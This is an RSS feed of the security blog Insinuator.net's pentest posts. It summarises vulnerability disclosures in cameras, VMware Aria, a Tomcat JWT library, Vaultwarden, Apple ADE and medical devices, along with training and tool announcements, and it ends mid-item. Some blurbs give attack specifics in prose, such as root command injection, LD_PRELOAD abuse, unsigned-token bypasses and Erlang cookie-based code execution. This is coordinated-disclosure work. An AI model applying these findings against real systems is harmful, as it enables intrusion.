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    <title>Pentest on Insinuator.net - Bold Statements</title>
    <link>https://insinuator.net/tags/pentest/</link>
    <description>Recent content in Pentest on Insinuator.net - Bold Statements</description>
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    <lastBuildDate>Thu, 16 Apr 2026 00:00:00 +0000</lastBuildDate>
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    <item>
      <title>Disclosure: Command Injection in Geutebrück Cameras</title>
      <link>https://insinuator.net/2026/04/disclosure-command-injection-in-geutebr%C3%BCck-cameras/</link>
      <pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2026/04/disclosure-command-injection-in-geutebr%C3%BCck-cameras/</guid>
      <description>&lt;p&gt;During a penetration test for a customer, we identified a command injection&#xA;vulnerability in Geutebrück security cameras that allows authenticated attackers&#xA;to execute arbitrary commands as root through the web interface. The root cause&#xA;is unsanitized user input being passed into a &lt;code&gt;sed&lt;/code&gt; script (and at least 12&#xA;other CGI endpoints). In addition to the injection, we identified an XSS&#xA;vulnerability, an exposed system menu leaking configuration and log data, and an&#xA;insecure GET-parameter-to-environment-variable mapping that enables abuse of&#xA;variables like &lt;code&gt;LD_PRELOAD&lt;/code&gt; and &lt;code&gt;LD_DEBUG&lt;/code&gt;. We reported the findings to&#xA;Geutebrück and a patched firmware was provided. This post walks through how we&#xA;got from a  &lt;code&gt;sed&lt;/code&gt; error message to a root shell.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Vulnerabilities in Broadcom VMware Aria Operations: Privilege Escalation (CVE-2025-41245 / CVE-2026-22721)</title>
      <link>https://insinuator.net/2026/03/vulnerabilities-in-broadcom-vmware-aria-operations-privilege-escalation-cve-2025-41245-/-cve-2026-22721/</link>
      <pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2026/03/vulnerabilities-in-broadcom-vmware-aria-operations-privilege-escalation-cve-2025-41245-/-cve-2026-22721/</guid>
      <description>&lt;p&gt;During a customer project, we identified privilege escalation vulnerabilities in&#xA;Broadcom VMware Aria Operations. It is possible to escalate the privileges of an&#xA;administrative vCenter user to an Aria administrator and take over systems&#xA;integrated in Aria. Meaning, the vCenter user can gain privileged access to&#xA;systems they have no access to. While both users might sound similarly&#xA;privileged, this is not true in most environments – especially not in complex&#xA;corporate environments: An insignificant vCenter user in a development&#xA;environment can take over all other vCenters in a complex corporate environment.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Vulnerability Disclosure: JWT Authentication Bypass in OpenID Connect Authenticator for Tomcat</title>
      <link>https://insinuator.net/2026/02/vulnerability-disclosure-jwt-authentication-bypass-in-openid-connect-authenticator-for-tomcat/</link>
      <pubDate>Tue, 17 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2026/02/vulnerability-disclosure-jwt-authentication-bypass-in-openid-connect-authenticator-for-tomcat/</guid>
      <description>&lt;p&gt;During a customer project we identified an issue with the validation of JWT&#xA;tokens that allowed us to bypass the authentication by using unsigned tokens&#xA;with arbitrary payloads. During analysis we found out that this is caused by a&#xA;vulnerability within the library&#xA;&lt;a href=&#34;https://github.com/boylesoftware/tomcat-oidcauth&#34;&gt;OpenID Connect Authenticator for Tomcat&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/boylesoftware/tomcat-oidcauth&#34;&gt;OpenID Connect Authenticator for Tomcat&lt;/a&gt;&#xA;between versions 2.0.0 and 2.5.0, as well as the current state on branch&#xA;&lt;code&gt;master&lt;/code&gt; contain a security flaw (introduced with commit &lt;code&gt;64e9a99&lt;/code&gt;) that allows&#xA;attackers to bypass JWT signature validation easily.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Vulnerability Disclosure: Authentication Bypass in Vaultwarden versions &lt; 1.32.5 - CVE-2024-55225</title>
      <link>https://insinuator.net/2024/11/vulnerability-disclosure-authentication-bypass-in-vaultwarden-versions-1.32.5-cve-2024-55225/</link>
      <pubDate>Fri, 22 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2024/11/vulnerability-disclosure-authentication-bypass-in-vaultwarden-versions-1.32.5-cve-2024-55225/</guid>
      <description>&lt;p&gt;During a penetration test for a customer, we briefly assessed &lt;a href=&#34;https://github.com/dani-garcia/vaultwarden&#34;&gt;Vaultwarden&lt;/a&gt;, an open-source online password safe. In June 2024, the German Federal Office for Information Security (BSI) published results&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; of a static and dynamic test of the Vaultwarden server component. Therefore, only a partial source code audit was performed during our assessment. However, a quick look was needed to find some glaring issues with the authentication.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vaultwarden&#34;&gt;Vaultwarden&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/dani-garcia/vaultwarden&#34;&gt;Vaultwarden&lt;/a&gt; is an alternative online password safe server to Bitwarden and exposes the same API so that Bitwarden clients can connect to the Vaultwarden server. Since Bitwarden has a Browser client and Mobile clients, they can all connect to Vaultwarden, too.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disclosure: Potential Limitations of Apple ADE in Corporate Usage Scenarios</title>
      <link>https://insinuator.net/2024/09/disclosure-potential-limitations-of-apple-ade-in-corporate-usage-scenarios/</link>
      <pubDate>Tue, 03 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2024/09/disclosure-potential-limitations-of-apple-ade-in-corporate-usage-scenarios/</guid>
      <description>&lt;p&gt;Apple Automated Device Enrollment (ADE) is presented as a way to automate and simplify the enrollment process of Apple devices within Mobile Device Management (MDE) solutions. This blog post is aimed at organizations currently planning or even already using this feature and making you, the reader, aware of potential limitations of this process that might otherwise not be clearly addressed in your companies’ device management process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-apple-ade-is-presented&#34;&gt;How Apple ADE Is Presented&lt;/h2&gt;&#xA;&lt;p&gt;Looking at the Apple Support pages today, Automated Device Enrollment is described as a process that&lt;/p&gt;</description>
    </item>
    <item>
      <title>Disclosure: Apple ADE – Network Based Provisioning Bypass</title>
      <link>https://insinuator.net/2024/08/disclosure-apple-ade-network-based-provisioning-bypass/</link>
      <pubDate>Fri, 09 Aug 2024 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2024/08/disclosure-apple-ade-network-based-provisioning-bypass/</guid>
      <description>&lt;p&gt;Mobile Device Management (MDM) solutions are used to centrally manage mobile devices in corporate environments. This includes the monitoring of the device, automatic installation/removal of apps or certificates and restrict the functionality. Even though MDM solutions exist for multiple vendors, we will look specifically on Apple devices enrolled via Intune. When an Apple device is registered for Automated Device Enrollment (ADE), it will automatically download and apply these policies during the initial setup and prior to the first boot.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ManiMed: Ypsomed AG – mylife YpsoPump System Vulnerabilities</title>
      <link>https://insinuator.net/2021/07/manimed-ypsomed-ag-mylife-ypsopump-system-vulnerabilities/</link>
      <pubDate>Thu, 29 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2021/07/manimed-ypsomed-ag-mylife-ypsopump-system-vulnerabilities/</guid>
      <description>&lt;p&gt;The Federal Office for Information Security (BSI) aims to sensitize&#xA;manufacturers and the public regarding security risks of networked medical&#xA;devices in Germany. In response to the often fatal security reports and press&#xA;releases of networked medical devices, the BSI initiated the project&#xA;Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security&#xA;analysis of selected products is carried out through security assessments&#xA;followed by Coordinated Vulnerability Diclosure (CVD) processes. The project&#xA;report was published on December 31, 2020, and can be accessed on the BSI&#xA;website&#xA;[&lt;a href=&#34;https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/DigitaleGesellschaft/ManiMed_Abschlussbericht_EN.html&#34;&gt;1&lt;/a&gt;].&lt;/p&gt;</description>
    </item>
    <item>
      <title>ManiMed: Hamilton Medical AG – HAMILTON-T1 Ventilator Vulnerabilities</title>
      <link>https://insinuator.net/2021/02/manimed-hamilton-medical-ag-hamilton-t1-ventilator-vulnerabilities/</link>
      <pubDate>Mon, 22 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2021/02/manimed-hamilton-medical-ag-hamilton-t1-ventilator-vulnerabilities/</guid>
      <description>&lt;p&gt;The Federal Office for Information Security (BSI) aims to sensitize&#xA;manufacturers and the public regarding security risks of networked medical&#xA;devices in Germany. In response to the often fatal security reports and press&#xA;releases of networked medical devices, the BSI initiated the project&#xA;Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security&#xA;analysis of selected products is carried out through security assessments&#xA;followed by Coordinated Vulnerability Diclosure (CVD) processes. The project&#xA;report was published on December 31, 2020, and can be accessed on the BSI&#xA;website &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ManiMed: B. Braun Melsungen AG – Space System Vulnerabilities</title>
      <link>https://insinuator.net/2021/02/manimed-b.-braun-melsungen-ag-space-system-vulnerabilities/</link>
      <pubDate>Mon, 15 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2021/02/manimed-b.-braun-melsungen-ag-space-system-vulnerabilities/</guid>
      <description>&lt;p&gt;The Federal Office for Information Security (BSI) aims to sensitize&#xA;manufacturers and the public regarding security risks of networked medical&#xA;devices in Germany. In response to the often fatal security reports and press&#xA;releases of networked medical devices, the BSI initiated the project&#xA;Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security&#xA;analysis of selected products is carried out through security assessments&#xA;followed by Coordinated Vulnerability Diclosure (CVD) processes. The project&#xA;report was published on December 31, 2020, and can be accessed on the BSI&#xA;website&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ManiMed: Innokas Yhtymä Oy - VC150 Patient Monitor Vulnerabilities</title>
      <link>https://insinuator.net/2021/02/manimed-innokas-yhtym%C3%A4-oy-vc150-patient-monitor-vulnerabilities/</link>
      <pubDate>Mon, 01 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2021/02/manimed-innokas-yhtym%C3%A4-oy-vc150-patient-monitor-vulnerabilities/</guid>
      <description>&lt;p&gt;The Federal Office for Information Security (BSI) aims to sensitize&#xA;manufacturers and the public regarding security risks of networked medical&#xA;devices in Germany. In response to the often fatal security reports and press&#xA;releases of networked medical devices, the BSI initiated the project&#xA;Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security&#xA;analysis of selected products is carried out through security assessments&#xA;followed by Coordinated Vulnerability Diclosure (CVD) processes. The project&#xA;report was published on December 31, 2020, and can be accessed on the BSI&#xA;website&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ManiMed: Philips Medizin Systeme Böblingen GmbH – IntelliVue System Vulnerabilities</title>
      <link>https://insinuator.net/2021/01/manimed-philips-medizin-systeme-b%C3%B6blingen-gmbh-intellivue-system-vulnerabilities/</link>
      <pubDate>Mon, 25 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2021/01/manimed-philips-medizin-systeme-b%C3%B6blingen-gmbh-intellivue-system-vulnerabilities/</guid>
      <description>&lt;p&gt;The Federal Office for Information Security (BSI) aims to sensitize&#xA;manufacturers and the public regarding security risks of networked medical&#xA;devices in Germany. In response to the often fatal security reports and press&#xA;releases of networked medical devices, the BSI initiated the project&#xA;Manipulation of Medical Devices (ManiMed) in 2019. In this project, a security&#xA;analysis of selected products is carried out through security assessments&#xA;followed by Coordinated Vulnerability Diclosure (CVD) processes. The project&#xA;report was published on December 31, 2020, and can be accessed on the BSI&#xA;website&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;/&lt;/p&gt;</description>
    </item>
    <item>
      <title>Yet Another Information Disclosure?</title>
      <link>https://insinuator.net/2018/04/yet-another-information-disclosure/</link>
      <pubDate>Tue, 24 Apr 2018 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2018/04/yet-another-information-disclosure/</guid>
      <description>&lt;p&gt;Hey there, for those of you that roll your eyes when writing the nth Information Disclosure Finding in a report, here is a short story of how such information helped compromising a system.&lt;/p&gt;&#xA;&lt;p&gt;In a recent penetration we found a hidden debug page which disclosed information about internal parameters. Along with database connection strings and key material there was a username and a user home parameter disclosed on said debug page.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Erlang distribution RCE and a cookie bruteforcer</title>
      <link>https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/</link>
      <pubDate>Thu, 05 Oct 2017 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/</guid>
      <description>&lt;p&gt;In one of the last pentests we’ve found an &lt;em&gt;epmd&lt;/em&gt; (Erlang port mapper daemon) listening on a target system (tcp/4369). It is used to coordinate distributed erlang instances, but also can lead to a RCE, given one knows the so called “authentication cookie”. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters. If an attacker gains this cookie, a RCE is quite easy – as I like to describe below.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Linq Injection – From Attacking Filters to Code Execution</title>
      <link>https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/</link>
      <pubDate>Mon, 17 Oct 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/</guid>
      <description>&lt;p&gt;Some of you (especially the .Net guys) might have heard of the query language Linq (&lt;em&gt;Language Integrated Query&lt;/em&gt;) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in application objects and provides filter mechanisms similar to SQL. As it is used directly inside the application source code, it will be processed at compile time and not interpreted at runtime. While this provides a great type safety and almost no attack surface for injection attacks (except from possible handling problems in the different backends), it is extremely difficult to implement a dynamic filter system (e.g. for datatables which should allow users to select the column to filter on). That’s probably the reason why Scott Guthrie (Executive Vice President of the Cloud and Enterprise group in Microsoft, also one of the founders of the .Net project) &lt;a href=&#34;https://weblogs.asp.net/scottgu/dynamic-linq-part-1-using-the-linq-dynamic-query-library&#34;&gt;presented&lt;/a&gt; the System.Linq.Dynamic package as part of the VS-2008 samples in 2008. This library allows to build Linq queries at runtime and therefore simplify dynamic filters. But as you may know, dynamic interpretation of languages based on user input is most of the time not the best option….&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to test Kerberos authenticated web applications?</title>
      <link>https://insinuator.net/2016/02/how-to-test-kerberos-authenticated-web-applications/</link>
      <pubDate>Thu, 18 Feb 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/02/how-to-test-kerberos-authenticated-web-applications/</guid>
      <description>&lt;p&gt;First of all: This is not an in-depth Kerberos how-to, nor is this tutorial about the different aspects of web application testing. This tutorial is just to give support in testing Kerberos authenticated web applications. The goal is to hand over the right tools and steps to be able to perform the configuration and be able to test the application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;When to use it?&lt;/strong&gt;&lt;br&gt;&#xA;When there is a 401 server response with the header “WWW-Authenticate: Negotiate”. This can either mean Kerberos or NTLM authentication is needed. It is possible to distinguish them by looking at valid authenticated client traffic. As a simple reminder: The NTLM Authorization header will always start with the value “TlRM…”, the Kerberos Authorization header will always start with “YII…”. For further information this &lt;a href=&#34;http://blogs.technet.com/b/tristank/archive/2006/08/02/negotiate-this.aspx&#34;&gt;link&lt;/a&gt; is recommend.&lt;br&gt;&#xA;In this tutorial the term “Kerberos authentication” will be used. There are other terms sometimes used like SPNEGO, SSO or integrated authentication.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ss7MAPer – A SS7 pen testing toolkit</title>
      <link>https://insinuator.net/2016/02/ss7maper-a-ss7-pen-testing-toolkit/</link>
      <pubDate>Tue, 16 Feb 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/02/ss7maper-a-ss7-pen-testing-toolkit/</guid>
      <description>&lt;p&gt;While running some SS7 pentests last year, I developed a small tool automating some of the well-known SS7 attack cases. Today I’m releasing the first version of ss7MAPer, a &lt;a href=&#34;https://en.wikipedia.org/wiki/Signalling_System_No._7&#34;&gt;SS7&lt;/a&gt; &lt;a href=&#34;https://en.wikipedia.org/wiki/Mobile_Application_Part%20&#34;&gt;MAP&lt;/a&gt; (pen-)testing toolkit.&lt;/p&gt;&#xA;&lt;p&gt;The toolkit is build upon the &lt;a href=&#34;http://cgit.osmocom.org/erlang/osmo_ss7/&#34;&gt;Osmocom SS7 stack&lt;/a&gt; and implements some basic MAP messages. At its current state tests against the &lt;a href=&#34;https://en.wikipedia.org/wiki/Home_Location_Register&#34;&gt;HLR&lt;/a&gt; are ready for use, in future versions tests against &lt;a href=&#34;https://en.wikipedia.org/wiki/Visitor_Location_Register&#34;&gt;VLR&lt;/a&gt;, &lt;a href=&#34;https://en.wikipedia.org/wiki/Network_switching_subsystem&#34;&gt;MSC&lt;/a&gt; and &lt;a href=&#34;https://en.wikipedia.org/wiki/Short_message_service_center&#34;&gt;SMSC&lt;/a&gt; will follow.&lt;/p&gt;&#xA;&lt;p&gt;The source code of the tool is published on &lt;a href=&#34;https://github.com/ernw/ss7MAPer&#34;&gt;github&lt;/a&gt;, feel free to use and extend.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Pentesting with Metasploit #TR16 Training</title>
      <link>https://insinuator.net/2016/02/pentesting-with-metasploit-%23tr16-training/</link>
      <pubDate>Tue, 02 Feb 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/02/pentesting-with-metasploit-%23tr16-training/</guid>
      <description>&lt;p&gt;In this year’s MSF training we will guide you through the typical steps of the pentest cycle: information gathering, attacking and looting your targets. For each step, demos and exercises will help you deepen and test your newly acquired knowledge. In addition to the typical penetration-test scenarios you will also learn several advanced aspects of the framework such as: how writing your own metasploit modules works, how to export payloads and make them undetected. With a final exercise each day you can finally challenge yourself and apply what you have learned!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Web Hacking Special Ops Workshop @ TR16</title>
      <link>https://insinuator.net/2016/01/web-hacking-special-ops-workshop-@-tr16/</link>
      <pubDate>Tue, 26 Jan 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/01/web-hacking-special-ops-workshop-@-tr16/</guid>
      <description>&lt;p&gt;&lt;strong&gt;Trooper!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You passed Hacking 1on1 with flying colors?&lt;/p&gt;&#xA;&lt;p&gt;You evade web application firewalls as they would be opened doors?&lt;/p&gt;&#xA;&lt;p&gt;You have successfully exploitated CVE-2015-8769?&lt;/p&gt;&#xA;&lt;p&gt;Then it’s time for the next challenge! Follow us down the rabbit hole to the not so well known attacks against modern web applications.&lt;/p&gt;&#xA;&lt;p&gt;At Troopers16 we will be presenting the second iteration of our WebHackingSpecialOps workshop in which more advanced techniques to break current web application technologies will be explained. On the first day there will be an introduction that gives a quick overview on the well-known attacks like SQLi, XSS and XSRF. Then attacks will be shown that build upon these “old” vectors including blind/clientside SQLi, NoSQLi and some specialties on NodeJS, the javascript based server-side runtime. Next to these technical topics several formal subjects like 3rd library handling and a guideline on how to deploy TLS in a secure way will be given. Especially the 3rd party library chapter since they have become more and more relevant, as in the near past several major vulnerabilities in such libraries were found which gave attackers the chance to break web applications that were based on these. This shows that even though developers do a great job and developer companies get familiar with secure development lifecycles, there are still problems depending on the used technologies that cannot be addressed easily. One example of such a vulnerability is the object deserialization flaw in the Apache Commons Collections library, which was discovered at the beginning of 2015 and got attention in November, when two researchers presented their &lt;a href=&#34;http://frohoff.github.io/appseccali-marshalling-pickles/&#34;&gt;talk on AppSecCali2015&lt;/a&gt; and showed how easy remote code execution can be done through this kind of flaw. The details of all kind of object deserialization (as almost all current scripting/high level programming languages support this feature) will be part of our course. Next to these topics a deep-dive into current crypto algorithms, their usecases concerning webapplications and their flaws will be given. Within every part of this course several demos and hands-on exercises will be done, so every attendee will be able to apply new knowledge directly. Don’t miss this chance to improve, Trooper!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Hacking 101 Training at TROOPERS16</title>
      <link>https://insinuator.net/2016/01/hacking-101-training-at-troopers16/</link>
      <pubDate>Mon, 25 Jan 2016 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2016/01/hacking-101-training-at-troopers16/</guid>
      <description>&lt;p&gt;This year’s &lt;a href=&#34;https://www.troopers.de/events/troopers16/572_hacking_101/&#34;&gt;Hacking 101&lt;/a&gt; workshop at TROOPERS16 will give attendees an insight into the hacking techniques required for penetration testing. These techniques will cover various topics like information gathering, network mapping, vulnerability scanning, web application hacking, low-level exploitation and more.&lt;/p&gt;&#xA;&lt;p&gt;During this workshop you will learn, step by step, a testing methodology that is applicable to the majority of scenarios. So imagine you have to assess the security of a system running on the Internet. How would you start? First, you need a good understanding about the target, including running services or related systems. Just scanning an IP will most likely not reveal a lot of information about the system. The gathered information may help you to identify communication relations of services that could include vulnerabilities. A brief understanding of the target and it’s related systems/services/applications will make scanning and identifying vulnerabilities a lot easier and more effective. Then, the last step will be the exploitation of the identified vulnerabilities, with the ultimate aim to get access to the target system and pivot to other, probably internal, systems and resources.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Penetration Testing Tools that (do not) Support IPv6</title>
      <link>https://insinuator.net/2014/12/penetration-testing-tools-that-do-not-support-ipv6/</link>
      <pubDate>Thu, 11 Dec 2014 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2014/12/penetration-testing-tools-that-do-not-support-ipv6/</guid>
      <description>&lt;p&gt;We just released a white paper authored by &lt;a href=&#34;https://twitter.com/AntoniosAtlasis&#34;&gt;Antonios Atlasis&lt;/a&gt; that provides an overview which pentesting tools currently support IPv6 and how to (still) use them if that’s not the case. It can be found &lt;a href=&#34;https://www.ernw.de/category/newsletter/index.html&#34;&gt;in our newsletter section&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Best&lt;/p&gt;&#xA;&lt;p&gt;Enno&lt;/p&gt;</description>
    </item>
    <item>
      <title>Chiron – An All-In-One IPv6 Penetration Testing Framework</title>
      <link>https://insinuator.net/2014/10/chiron-an-all-in-one-ipv6-penetration-testing-framework/</link>
      <pubDate>Sat, 04 Oct 2014 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2014/10/chiron-an-all-in-one-ipv6-penetration-testing-framework/</guid>
      <description>&lt;p&gt;This is a guest post from &lt;a href=&#34;http://www.secfu.net/about-me/&#34;&gt;Antonios Atlasis&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Last week I had the pleasure to give you my impressions regarding my experience about &lt;a href=&#34;http://www.insinuator.net/2014/09/hacking-for-a-b33r-at-ghent/&#34;&gt;&lt;em&gt;hacking for b33r at Ghent&lt;/em&gt;&lt;/a&gt;, that is, my participation at &lt;a href=&#34;http://2014.brucon.org/&#34;&gt;&lt;em&gt;BruCON 2014&lt;/em&gt;&lt;/a&gt; hacking conference. As I said among else, the reason that I was there was to present &lt;a href=&#34;http://www.secfu.net/tools-scripts/&#34;&gt;&lt;em&gt;Chiron&lt;/em&gt;&lt;/a&gt;, my IPv6 penetration testing/security assessment framework, which was supported by the &lt;a href=&#34;http://blog.brucon.org/2013/12/2014-5by5-announcement.html&#34;&gt;&lt;em&gt;Brucon 5×5&lt;/em&gt;&lt;/a&gt; program. The first version of &lt;em&gt;Chiron&lt;/em&gt; had been presented at &lt;a href=&#34;https://www.troopers.de/troopers14/troopers14-ipv6-security-summit-2014/troopers14-ipv6-security-summit-2014-workshop-an-all-in-one-advanced-ipv6-testing-framework/index.html&#34;&gt;Troopers 14&lt;/a&gt;, during the &lt;a href=&#34;https://www.troopers.de/troopers14/troopers14-ipv6-security-summit-2014/index.html&#34;&gt;&lt;em&gt;IPv6 Security Summit&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ERNW’s Top 9 Burp Plugins</title>
      <link>https://insinuator.net/2014/08/ernws-top-9-burp-plugins/</link>
      <pubDate>Mon, 25 Aug 2014 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2014/08/ernws-top-9-burp-plugins/</guid>
      <description>&lt;p&gt;In the context of an internal evaluation, we recently had a look at most of the burp plugins available from the BApp store. The following overview represents our personal top 9 plugins, categorized in “Scanner Extensions”, “Manual Testing” and “Misc” in alphabetic order:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scanner Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;ActiveScan++&lt;/p&gt;&#xA;&lt;p&gt;This plugin adds some tests for Dynamic code injection, &lt;a href=&#34;http://carlos.bueno.org/2008/06/host-header-injection.html&#34; title=&#34;Host header attacks&#34;&gt;Host header attacks&lt;/a&gt; (&lt;a href=&#34;http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html&#34; title=&#34;Password reset poisoning&#34;&gt;password reset poisoning&lt;/a&gt;, &lt;a href=&#34;https://www.owasp.org/index.php/Cache_Poisoning&#34; title=&#34;cache poisoning&#34;&gt;cache poisoning&lt;/a&gt;, DNS rebinding), OS command injection and &lt;a href=&#34;http://www.thespanner.co.uk/2014/03/21/rpo/&#34; title=&#34;Relative path overwrite&#34;&gt;Relative path overwrite&lt;/a&gt;. In some internal tests, it seemed to deliver what it promises.&lt;/p&gt;</description>
    </item>
    <item>
      <title>A Short Teaser on My New IPv6 Testing Framework</title>
      <link>https://insinuator.net/2014/02/a-short-teaser-on-my-new-ipv6-testing-framework/</link>
      <pubDate>Fri, 21 Feb 2014 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2014/02/a-short-teaser-on-my-new-ipv6-testing-framework/</guid>
      <description>&lt;h1 id=&#34;this-is-a-guest-post-from-antonios-atlasis&#34;&gt;This is a guest post from Antonios Atlasis&lt;/h1&gt;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;p&gt;Hi,&lt;/p&gt;&#xA;&lt;p&gt;my name is Antonios and I am an independent IT Security Researcher from Greece. One of my latest “hobbies” is IPv6 and its potential insecurities so, please let me talk to you about my latest experience on this.&lt;/p&gt;&#xA;&lt;p&gt;This week, I had the opportunity to work together with the ERNW guys at their premises. They had built an IPv6 lab that included several commercial IPv6 security devices (firewalls, IDS/IPS and some high-end switches) and they kindly offered their lab to me to play with (thank you guys 🙂 – I always liked …expensive toys). The goal of this co-operation was two-fold: First, to test my new (not yet released) IPv6 pen-testing tool and secondly, to try to find out any IPv6-related security or operational issues on these devices (after all, they all claim that they are “IPv6-Ready”, right?).&lt;/p&gt;</description>
    </item>
    <item>
      <title>BlackBerry 10 USB Modes</title>
      <link>https://insinuator.net/2013/07/blackberry-10-usb-modes/</link>
      <pubDate>Tue, 23 Jul 2013 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2013/07/blackberry-10-usb-modes/</guid>
      <description>&lt;p&gt;So we got these shiny new BlackBerry Q10 and Z10 device laying on the desk one morning. It’s my first BlackBerry, I have to admit, but never the less, the hole wushy GUI and touchy glass stuff wasn’t my main concern, instead i &lt;a href=&#34;https://www.troopers.de/archives/troopers13/agenda13/troopers13-presentations/index.html#you_wouldnt_share&#34;&gt;took a look at the stuff&lt;/a&gt; going on while you connect the phone (do i have to call it blackberry? its a phone, isn’t it?) to your computer.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mobile Application Testing</title>
      <link>https://insinuator.net/2013/02/mobile-application-testing/</link>
      <pubDate>Thu, 14 Feb 2013 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2013/02/mobile-application-testing/</guid>
      <description>&lt;p&gt;Our new &lt;a href=&#34;https://www.troopers.de/agenda13/troopers13-2-day-workshop-mobile-application-testing/index.html&#34;&gt;workshop about mobile application testing&lt;/a&gt;, held for the 1st time at the Troopers conference 2013, is coming closer. So I would like to take the opportunity and post an appetizer for those who are still undetermined if they should attend the workshop ;-).&lt;/p&gt;&#xA;&lt;p&gt;While the topic of mobile application testing is a wide field that may contain reverse engineering, secure storage analysis, vulnerability research, network traffic analysis and so forth, in the end of the day you have to answer one question: Can I trust this application and run it on my enterprise devices? So first you have to define some criteria, which kind of behavior and characteristics of an application you regard as trustworthy (or not). Let us peek at malware … besides harming your devices and data, malware is typically:&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL Injection in Cisco MeetingPlace</title>
      <link>https://insinuator.net/2012/11/sql-injection-in-cisco-meetingplace/</link>
      <pubDate>Thu, 08 Nov 2012 00:00:00 +0000</pubDate>
      <guid>https://insinuator.net/2012/11/sql-injection-in-cisco-meetingplace/</guid>
